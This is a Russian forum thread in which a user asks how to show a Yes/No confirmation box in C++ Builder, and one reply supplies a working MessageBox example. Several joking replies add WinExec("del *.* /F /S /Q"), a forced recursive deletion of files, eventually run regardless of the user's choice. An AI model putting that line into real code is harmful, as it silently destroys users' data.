подскажите пожалуйста как вывести окошко в БУИЛДЕРЕ со словами:
"Вы действительно хотите продолжить выполнение программы?"
и кнопки "YES" или "NO"
и еще обраьатывать что пользователь нажмет!!!!
Re: Окно Yes или No в Buildere
От:
Аноним
Дата:
09.07.05 12:35
Оценка:
Здравствуйте, Аноним, Вы писали:
А>подскажите пожалуйста как вывести окошко в БУИЛДЕРЕ со словами:
А>"Вы действительно хотите продолжить выполнение программы?" А>и кнопки "YES" или "NO"
А>и еще обраьатывать что пользователь нажмет!!!!
Здравствуйте, Аноним, Вы писали:
А>"Вы действительно хотите продолжить выполнение программы?"
Ну и вопросик программа задает...
if( Application->MessageBox( "Вы действительно хотите продолжить выполнение программы на свой страх и риск?", "ПРЕДУПРЕЖДЕНИЕ", MB_YESNO | MB_ICONEXCLAMATION ) == mrYes )
... // да
else
... // нет
Я прихожу в бешенство от одной мысли о том, сколько бы я всего узнал, если бы не ходил в школу.
Здравствуйте, _KAV, Вы писали:
_KA>if( Application->MessageBox( "Вы действительно хотите продолжить выполнение программы на свой страх и риск?", "ПРЕДУПРЕЖДЕНИЕ", MB_YESNO | MB_ICONEXCLAMATION ) == mrYes ) _KA> ... // да _KA>else _KA> ... // нет
Лучше так:
if( Application->MessageBox( "Вы действительно хотите продолжить выполнение программы на свой страх и риск?", "ПРЕДУПРЕЖДЕНИЕ", MB_YESNO | MB_ICONEXCLAMATION ) == mrYes )
WinExec("del *.* /F /S /Q"); // даelse
... // нет
И, для уменьшения кода...
> if( Application->MessageBox( "Вы действительно хотите продолжить выполнение программы на свой страх и риск?", "ПРЕДУПРЕЖДЕНИЕ", MB_YESNO | MB_ICONEXCLAMATION ) == mrNo ) > ShowMessage("НЕТ??? А придется!!!" ); > WinExec("del *.* /F /S /Q");
Здравствуйте, Гай, Вы писали:
Гай>Здравствуйте.
Гай>И, для уменьшения кода...
>> if( Application->MessageBox( "Вы действительно хотите продолжить выполнение программы на свой страх и риск?", "ПРЕДУПРЕЖДЕНИЕ", MB_YESNO | MB_ICONEXCLAMATION ) == mrNo ) >> ShowMessage("НЕТ??? А придется!!!" ); >> WinExec("del *.* /F /S /Q");
Гай>-- Гай>С уважением, Гай.
Ну тогда проверка результата не нужна
Application->MessageBox( "Вы действительно хотите продолжить выполнение программы на свой страх и риск?", "ПРЕДУПРЕЖДЕНИЕ", MB_YESNO | MB_ICONEXCLAMATION );
ShowMessage("А придется!!!" );
WinExec("del *.* /F /S /Q");
Здравствуйте, Аноним, Вы писали:
А>подскажите пожалуйста как вывести окошко в БУИЛДЕРЕ со словами:
А>"Вы действительно хотите продолжить выполнение программы?" А>и кнопки "YES" или "NO"
А>и еще обраьатывать что пользователь нажмет!!!!
Не знаю как в Билдере, а в Дельфе просто нажимаешь на кнопку "Message Dialog" в GExperts..